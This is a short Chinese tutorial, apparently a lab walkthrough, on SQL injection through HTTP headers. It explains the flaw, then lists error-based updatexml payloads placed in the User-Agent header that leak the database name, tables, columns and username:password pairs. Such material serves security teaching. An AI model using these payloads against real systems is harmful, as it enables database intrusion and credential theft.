什么是Http Header注入

有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过http header头信息获取客户端的一些信息,比如useragentaccept字段等等。
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑
则可能会导致基于http headerSQL Inject漏洞。
QQ截图20190409180542.png

QQ截图20190409180542.png

基于user-agent字段

验证

user-agent字段后输入'效果如下
验证.png

验证.png

爆出数据库

User-Agent: 1'or updatexml(1,concat(0x7e,(database())),0) or'

数据库.png

数据库.png

爆出表

User-Agent: test001' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='lou' limit 0,1)),0) or'

表.png

表.png

爆出列

User-Agent:test001' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1)),0) or'

QQ截图20190409175930.png

QQ截图20190409175930.png

爆出内容

User-Agent:test001' or updatexml(1,concat(0x7e,(select concat_ws(':', username, password) from users limit 0,1)),0) or'

QQ截图20190409180053.png

QQ截图20190409180053.png

其他

Kali笔记一键关注
Last modification:April 25, 2019
正在沿街乞讨中……